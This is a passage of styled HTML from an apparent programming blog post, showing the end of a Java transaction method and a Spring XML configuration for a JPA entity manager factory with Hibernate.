</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">return</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">super</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">.</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">beginTransaction</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">(</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">entityManager</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">,</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> definition</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">);</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">}</span></code></span></pre>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;">
</span></div>
<div>
and the spring configuration:</div>
<div>
<span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"></span><br />
<pre class="lang-java prettyprint" style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 10px; margin-left: 0px; margin-right: 0px; margin-top: 0px; max-height: 600px; overflow-x: auto; overflow-y: auto; padding-bottom: 5px; padding-left: 5px; padding-right: 5px; padding-top: 5px; vertical-align: baseline; width: auto;"><span class="Apple-style-span" style="border-collapse: collapse; font-family: Arial, 'Liberation Sans', 'DejaVu Sans', sans-serif; font-size: 14px; line-height: 18px;"><code style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: Consolas, Menlo, Monaco, 'Lucida Console', 'Liberation Mono', 'DejaVu Sans Mono', 'Bitstream Vera Sans Mono', 'Courier New', monospace, serif; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">bean id</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"entityManagerFactory"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">class</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"persistenceUnitName"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> value</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"lottery_te"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"dataSource"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> ref</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"dataSource"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property name</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"jpaVendorAdapter"</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">bean </span><span class="kwd" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: darkblue; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">class</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">=</span><span class="str" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: maroon; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">"org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter"</span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"> </span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">/></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">property</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"></span><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">
</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><span class="pln" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">bean</span><span class="pun" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: black; font-size: 14px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">></span></span></span></code></span></pre>
